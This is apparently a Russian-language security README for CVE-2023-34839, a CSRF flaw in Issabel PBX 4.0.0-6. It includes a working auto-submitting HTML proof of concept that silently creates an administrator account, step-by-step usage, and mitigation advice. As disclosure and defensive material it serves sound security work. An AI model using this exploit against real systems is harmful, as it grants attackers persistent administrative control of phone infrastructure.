
CVE-2023-34839 — это уязвимость межсайтовой подделки запросов (CSRF), обнаруженная в Issabel PBX версии 4.0.0-6, широко используемой открытой платформе унифицированных коммуникаций.
CVE-2023-34839 — это уязвимость, связанная с межсайтовой подделкой запроса (Cross-Site Request Forgery, CSRF), обнаруженная в Issabel PBX версии 4.0.0-6 — широко используемой платформе унифицированных коммуникаций с открытым исходным кодом. Уязвимость находится в конечной точке управления пользователями и позволяет удалённому неаутентифицированному злоумышленнику незаметно создать новую учётную запись администратора, обманом заставив аутентифицированного администратора посетить специально созданную веб-страницу.
В Issabel PBX 4.0.0-6 не реализована защита от CSRF (например, токены синхронизации, атрибуты cookie SameSite или проверка заголовков Origin / Referer) в конечной точке создания пользователя:
POST /index.php?menu=userlist&action=new
Поскольку приложение полагается исключительно на сессионные cookie для аутентификации и не выполняет проверку запросов, изменяющих состояние, поддельный POST-запрос, отправленный из любого источника, будет принят и обработан с полными привилегиями сессии вошедшего в систему администратора.
Корневая причина: отсутствие проверки анти-CSRF-токенов в изменяющих состояние административных конечных точках.
Класс уязвимости: CWE-352 — межсайтовая подделка запроса (CSRF)
| ПО | Версия | Статус |
|---|---|---|
| Issabel PBX | 4.0.0-6 | Уязвима ✔ |
Злоумышленник может использовать эту уязвимость, выполнив следующие основные шаги:
От жертвы не требуется никаких действий, кроме однократного посещения страницы.
⚠️ Только для образовательных целей и авторизованного тестирования.
Заменитеlocalhostна имя хоста или IP-адрес целевого экземпляра Issabel PBX.
Если тестирование выполняется через конечную точкуhttps://с самозаверяющим сертификатом, сначала необходимо в том же браузере перейти по целевому URL и принять предупреждение о сертификате; в противном случае браузер заблокирует отправку формы с другого источника.
<html>
<!-- CSRF Exploit — CVE-2023-34839 -->
<body>
<form action="https://localhost/index.php?menu=userlist&action=new" method="POST">
<input type="hidden" name="save" value="Save" />
<input type="hidden" name="name" value="CSRF" />
<input type="hidden" name="description" value="CSRF Test Account" />
<input type="hidden" name="password1" value="Test@123" />
<input type="hidden" name="password2" value="Test@123" />
<input type="hidden" name="group" value="1" /> <!-- 1 = Administrator -->
<input type="hidden" name="extension" value="" />
<input type="hidden" name="webmailuser" value="" />
<input type="hidden" name="webmaildomain" value="" />
<input type="hidden" name="webmailpassword1" value="" />
<input type="hidden" name="id_user" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Файл эксплойта также доступен в этом репозитории: CSRF Exploit.html
Перейдите в веб-интерфейс Issabel PBX и войдите, используя учётные данные администратора.

Скопируйте приведённый выше HTML-код PoC и сохраните его как файл .html, заменив localhost на фактическое имя хоста или IP-адрес целевого экземпляра Issabel.
Эксплойт использует скрытые поля формы для незаметной отправки POST-запроса на создание нового пользователя в приложение. При загрузке страницы встроенный JavaScript немедленно отправляет форму без каких-либо видимых действий пользователя.

Откройте сохранённый HTML-файл в том же браузере (в новой вкладке), пока сессия администратора ещё активна. Форма будет автоматически отправлена сразу после загрузки страницы.
Вернитесь в панель User Management (управление пользователями) Issabel PBX. Будет создана новая учётная запись (в данном PoC — с именем CSRF) с полными привилегиями администратора — без каких-либо дополнительных действий, кроме открытия страницы с эксплойтом.

Успешная эксплуатация CVE-2023-34839 позволяет злоумышленнику:
Поскольку поддельная учётная запись сохраняется даже после завершения сессии жертвы, злоумышленник сохраняет доступ на неопределённый срок, пока учётная запись не будет обнаружена и удалена.
Администраторам и разработчикам Issabel PBX следует применить следующие меры:
Внедрить анти-CSRF-токены: генерируйте уникальный непредсказуемый токен, привязанный к сессии, для каждой формы, изменяющей состояние. Проверяйте токен на стороне сервера перед обработкой любого POST-запроса.
Установить SameSite=Strict или SameSite=Lax для сессионных cookie: это указывает браузерам не отправлять cookie в межсайтовых запросах, эффективно предотвращая классические CSRF-атаки в современных браузерах.
Проверять заголовки Origin и Referer: отклоняйте запросы, заголовок Origin или Referer которых не соответствует ожидаемому домену приложения.
Требовать повторную аутентификацию для критически важных действий: запрашивайте у администратора текущий пароль перед разрешением создания новых учётных записей уровня администратора.
Устанавливать последние исправления безопасности: следите за страницей релизов Issabel и официальным репозиторием на предмет исправлений, устраняющих данную CVE.
Этот репозиторий предназначен строго для образовательных целей и авторизованных исследований в области безопасности. Информация и код proof-of-concept, представленные здесь, должны использоваться только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Несанкционированное использование этого эксплойта против систем, которые вам не принадлежат, противозаконно и может повлечь уголовное преследование. Автор не несёт ответственности за любое неправомерное использование информации, содержащейся в этом репозитории.
| Поле | Значение |
|---|
| CVE ID | CVE-2023-34839 |
| Дата | 23 июня 2023 |
| Исследователь | Sahil Ojha |
| Вендор | Issabel |
| Продукт | Issabel PBX |
| Версия | 4.0.0-6 |
| Протестировано на | Windows |
| Метрика | Значение |
|---|
| Вектор CVSS v3.1 | AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| Базовый балл | 8.8 (высокий) |
| Вектор атаки | Сеть |
| Сложность атаки | Низкая |
| Требуемые привилегии | Не требуются |
| Взаимодействие с пользователем | Требуется (посещение администратором) |
| Область действия | Не изменяется |
| Конфиденциальность | Высокая |
| Целостность | Высокая |
| Доступность | Высокая |